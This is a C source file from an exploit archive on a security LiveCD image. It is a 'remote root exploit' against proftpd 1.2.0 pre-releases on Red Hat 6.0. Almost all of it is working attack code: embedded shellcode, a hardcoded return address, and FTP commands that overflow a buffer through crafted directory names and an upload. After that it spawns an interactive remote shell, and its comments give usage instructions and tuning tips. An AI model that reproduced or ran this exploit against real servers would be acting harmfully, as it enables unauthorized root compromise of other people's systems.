home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / proftp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  412 lines

  1. /*
  2.  * !!!! Private .. ... distribute !!!!
  3.  *
  4.  * <pro.c> proftpd-1.2.0 remote root exploit (beta2)
  5.  * (Still need some code, but it works fine)
  6.  *
  7.  * Offset: Linux Redhat 6.0
  8.  * 0 -> proftpd-1.2.0pre1 
  9.  * 0 -> proftpd-1.2.0pre2
  10.  * 0 -> proftpd-1.2.0pre3
  11.  * (If this dont work, try changing the align)
  12.  *
  13.  * Usage:
  14.  * $ cc pro.c -o pro
  15.  * $ pro 1.1.1.1 ftp.linuz.com /incoming 
  16.  *
  17.  * ****
  18.  * Comunists are still alive ph34r
  19.  * A lot of shit to : #cybernet@ircnet
  20.  * Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic
  21.  *          Dialtone,AlexB,naif,etcetc
  22.  * without them this puppy cant be spreaded uaz uaz uaz
  23.  * ****    
  24.  */
  25.  
  26. #include <stdio.h>
  27. #include <unistd.h>
  28. #include <stdlib.h>
  29. #include <signal.h>
  30. #include <time.h>
  31. #include <string.h>
  32. #include <ctype.h>
  33. #include <sys/types.h>
  34. #include <sys/socket.h>
  35. #include <netinet/in.h>
  36. #include <arpa/inet.h>
  37. #include <arpa/nameser.h>
  38. #include <netdb.h>
  39.  
  40. #define RET 0xbffff550
  41. #define ALINEA 0
  42.  
  43. void logintoftp();
  44. void sh();
  45. void mkd(char *);
  46. void put(char *);
  47. int max(int, int);
  48.  
  49. char shellcode[] =
  50.   "\x90\x90\x31\xc0\x31\xdb\xb0\x17"
  51.   "\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
  52.   "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
  53.   "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0"
  54.   "\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
  55.   "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0"
  56.   "\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
  57.   "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10"
  58.   "\x56\x01\xce\x89\x1e\x83\xc6\x03"
  59.   "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10"
  60.   "\xcd\x80\x31\xc0\x88\x46\x07\x89"
  61.   "\x76\x08\x89\x46\x0c\xb0\x0b\x89"
  62.   "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
  63.   "\x80\xe8\xac\xff\xff\xff";
  64.  
  65. char tmp[256];
  66. char name[128], pass[128];
  67.  
  68. int sockfd;
  69. struct sockaddr_in server, yo;
  70. char inicio[20];
  71.  
  72. int main(int argc, char **argv)
  73. {
  74.  
  75.   char sendln[1024], recvln[4048], buf1[1000], buf2[200];
  76.   struct hostent *host;
  77.   char *p, *q;
  78.   int len;
  79.   int offset = 0;
  80.   int align = 0;
  81.   int i;
  82.  
  83.   if(argc < 4)
  84.     {
  85.       printf("usage: pro <your_ip> <host> <dir> [-l name pass] [offset align]\n");
  86.       printf("If dont work, try different align values (0 to 3)\n");
  87.       exit(0);
  88.     }
  89.  
  90.   if(argc >= 5)
  91.     {
  92.       if(strcmp(argv[4], "-l") == 0)
  93.         {
  94.           strncpy(name, argv[5], 128);
  95.           strncpy(pass, argv[6], 128);
  96.         }
  97.       else
  98.         {
  99.           offset = atoi(argv[4]);
  100.         }
  101.       if(argc == 9)
  102.         offset = atoi(argv[7]);
  103.       align = atoi(argv[8]);
  104.     }
  105.  
  106.   sprintf(inicio, "%s", argv[1]);
  107.  
  108.   if(name[0] == 0 && pass[0] == 0)
  109.     {
  110.       strcpy(name, "anonymous");
  111.       strcpy(pass, "a@a.es");
  112.     }
  113.  
  114.   bzero(&server,sizeof(server));
  115.   bzero(recvln,sizeof(recvln));
  116.   bzero(sendln,sizeof(sendln));
  117.   server.sin_family=AF_INET;
  118.   server.sin_port=htons(21);
  119.  
  120.   if((host = gethostbyname(argv[2])) != NULL)
  121.     {
  122.       bcopy(host->h_addr, (char *)&server.sin_addr, host->h_length);
  123.     }
  124.   else
  125.     {
  126.       if((server.sin_addr.s_addr = inet_addr(argv[2]))<1)
  127.         {
  128.           perror("Obteniendo ip");
  129.           exit(0);
  130.         }
  131.     }
  132.  
  133.   bzero((char*)&yo,sizeof(yo));
  134.   yo.sin_family = AF_INET;
  135.  
  136.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  137.     {
  138.       perror("socket()");
  139.       exit(0);
  140.     }
  141.  
  142.   if((bind(sockfd, (struct sockaddr *)&yo, sizeof(struct sockaddr)))<0)
  143.     {
  144.       perror("bind()");
  145.       exit(0);
  146.     }
  147.  
  148.   if(connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0)
  149.     {
  150.       perror("connect()");
  151.       exit(0);
  152.     }
  153.  
  154.   printf("Destination_ip: %s \nDestination_port: %d\nSource_ip: %s \nSource_port: %d\n",
  155.          inet_ntoa(server.sin_addr), ntohs(server.sin_port), inet_ntoa(yo.sin_addr),
  156.          ntohs(yo.sin_port));
  157.  
  158.   printf("Connected\n");
  159.   getchar();
  160.  
  161.   while((len = read(sockfd, recvln, sizeof(recvln))) > 0)
  162.     {
  163.       recvln[len] = '\0';
  164.       if(strchr(recvln, '\n') != NULL)
  165.         break;
  166.     }
  167.  
  168.   logintoftp(sockfd);
  169.   printf("Logged\n");
  170.   bzero(sendln, sizeof(sendln));
  171.  
  172.   memset(buf1, 0x90, 800);
  173.   memcpy(buf1, argv[3], strlen(argv[3]));
  174.   mkd(argv[3]);
  175.   p = &buf1[strlen(argv[3])];
  176.   q = &buf1[799];
  177.   *q = '\x00';
  178.   while(p <= q)
  179.     {
  180.       strncpy(tmp, p, 100);
  181.       mkd(tmp);
  182.       p+=100;
  183.     }
  184.  
  185.   mkd(shellcode);
  186.   mkd("bin");
  187.   mkd("sh");
  188.  
  189.   memset(buf2, 0x90, 100);
  190.   for(i=4-ALINEA-align; i<96; i+=4)
  191.     *(long *)&buf2[i] = RET + offset;
  192.   p = &buf2[0];
  193.   q = &buf2[99];
  194.   strncpy(tmp, p, 100);
  195.   put(tmp);
  196.  
  197.   sh(sockfd);
  198.  
  199.   close(sockfd);
  200.   printf("EOF\n");
  201. }
  202.  
  203. void mkd(char *dir)
  204. {
  205.  
  206.   char snd[1024], rcv[1024];
  207.   char buf[1024], *p;
  208.   int n;
  209.  
  210.   bzero(buf,sizeof(buf));
  211.   p=buf;
  212.  
  213.   for(n=0;n<strlen(dir);n++)
  214.     {
  215.       if(dir[n]=='\xff')
  216.         {
  217.           *p='\xff';
  218.           p++;
  219.         }
  220.       *p=dir[n];
  221.       p++;
  222.     }
  223.  
  224.   sprintf(snd,"MKD %s\r\n",buf);
  225.   write(sockfd,snd,strlen(snd));
  226.   bzero(snd,sizeof(snd));
  227.   sprintf(snd,"CWD %s\r\n",buf);
  228.   write(sockfd,snd,strlen(snd));
  229.   bzero(rcv,sizeof(rcv));
  230.  
  231.   while((n=read(sockfd,rcv,sizeof(rcv)))>0)
  232.     {
  233.       rcv[n]=0;
  234.       if(strchr(rcv,'\n')!=NULL)
  235.         break;
  236.     }
  237.   return;
  238. }
  239.  
  240. void put(char *dir)
  241. {
  242.  
  243.   char snd[1024], rcv[1024];
  244.   char buf[1024], *p;
  245.   int n;
  246.   int sockete, nsock;
  247.   int port;
  248.   int octeto_in[4];
  249.   char *oct;
  250.  
  251.   port=getpid()+1024;
  252.  
  253.   yo.sin_port=htons(port);
  254.  
  255.   bzero(buf,sizeof(buf));
  256.   p=buf;
  257.   for(n=0;n<strlen(dir);n++)
  258.     {
  259.       if(dir[n]=='\xff')
  260.         {
  261.           *p='\xff';
  262.           p++;
  263.         }
  264.       *p=dir[n];
  265.       p++;
  266.     }
  267.  
  268.   oct=(char *)strtok(inicio,".");
  269.   octeto_in[0]=atoi(oct);
  270.   oct=(char *)strtok(NULL,".");
  271.   octeto_in[1]=atoi(oct);
  272.   oct=(char *)strtok(NULL,".");
  273.   octeto_in[2]=atoi(oct);
  274.   oct=(char *)strtok(NULL,".");
  275.   octeto_in[3]=atoi(oct);
  276.  
  277.   sprintf(snd,"PORT %d,%d,%d,%d,%d,%d\r\n",octeto_in[0],octeto_in[1],
  278.           octeto_in[2],octeto_in[3],port / 256,port % 256);
  279.   write(sockfd,snd,strlen(snd));
  280.  
  281.   // socket
  282.   // bind
  283.   // listen
  284.   if((sockete=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  285.     {
  286.       perror("Socket()");
  287.       exit(0);
  288.     }
  289.  
  290.   if((bind(sockete,(struct sockaddr *)&yo,sizeof(struct sockaddr)))==-1)
  291.     {
  292.       perror("Bind()");
  293.       close(sockete);
  294.       exit(0);
  295.     }
  296.  
  297.   if(listen(sockete,10)==-1)
  298.     {
  299.       perror("Listen()");
  300.       close(sockete);
  301.       exit(0);
  302.     }
  303.  
  304.   bzero(snd, sizeof(snd));
  305.   sprintf(snd, "STOR %s\r\n", buf);
  306.   write(sockfd, snd, strlen(snd));
  307.  
  308.   // accept
  309.   // write
  310.   // close
  311.   if((nsock=accept(sockete,(struct sockaddr *)&server,(int *)sizeof(struct sockaddr)))==-1)
  312.     {
  313.       perror("accept()");
  314.       close(sockete);
  315.       exit(0);
  316.     }
  317.  
  318.   write(nsock, "aaaaaaaaa", 10);
  319.  
  320.   close(sockete);
  321.   close(nsock);
  322.  
  323.   bzero(rcv, sizeof(rcv));
  324.   while((n = read(sockfd, rcv, sizeof(rcv))) > 0)
  325.     {
  326.       rcv[n] = 0;
  327.       if(strchr(rcv, '\n') != NULL)
  328.         break;
  329.     }
  330.   return;
  331. }
  332.  
  333. void logintoftp()
  334. {
  335.  
  336.   char snd[1024], rcv[1024];
  337.   int n;
  338.  
  339.   printf("Logging %s/%s\n", name, pass);
  340.   memset(snd, '\0', 1024);
  341.   sprintf(snd, "USER %s\r\n", name);
  342.   write(sockfd, snd, strlen(snd));
  343.  
  344.   while((n=read(sockfd, rcv, sizeof(rcv))) > 0)
  345.     {
  346.       rcv[n] = 0;
  347.       if(strchr(rcv, '\n') != NULL)
  348.         break;
  349.     }
  350.  
  351.   memset(snd, '\0', 1024);
  352.   sprintf(snd, "PASS %s\r\n", pass);
  353.   write(sockfd, snd, strlen(snd));
  354.  
  355.   while((n=read(sockfd, rcv, sizeof(rcv))) > 0)
  356.     {
  357.       rcv[n] = 0;
  358.       if(strchr(rcv, '\n') != NULL)
  359.         break;
  360.     }
  361.   return;
  362. }
  363.  
  364. void sh()
  365. {
  366.  
  367.   char snd[1024], rcv[1024];
  368.   fd_set rset;
  369.   int maxfd, n;
  370.  
  371.   strcpy(snd, "cd /; uname -a; pwd; id;\n");
  372.   write(sockfd, snd, strlen(snd));
  373.  
  374.   for(;;)
  375.     {
  376.       FD_SET(fileno(stdin), &rset);
  377.       FD_SET(sockfd, &rset);
  378.       maxfd = max(fileno(stdin), sockfd) + 1;
  379.       select(maxfd, &rset, NULL, NULL, NULL);
  380.       if(FD_ISSET(fileno(stdin), &rset))
  381.         {
  382.           bzero(snd, sizeof(snd));
  383.           fgets(snd, sizeof(snd)-2, stdin);
  384.           write(sockfd, snd, strlen(snd));
  385.         }
  386.       if(FD_ISSET(sockfd, &rset))
  387.         {
  388.           bzero(rcv, sizeof(rcv));
  389.           if((n = read(sockfd, rcv, sizeof(rcv))) == 0)
  390.             {
  391.               printf("EOF.\n");
  392.               exit(0);
  393.             }
  394.           if(n < 0)
  395.             {
  396.               perror("read()");
  397.               exit(-1);
  398.             }
  399.           fputs(rcv, stdout);
  400.         }
  401.     }
  402. }
  403.  
  404. int max(int x, int y)
  405. {
  406.  
  407.   if(x > y)
  408.     return(x);
  409.   else
  410.     return(y);
  411. }
  412. /*                    www.hack.co.za              [2000]*/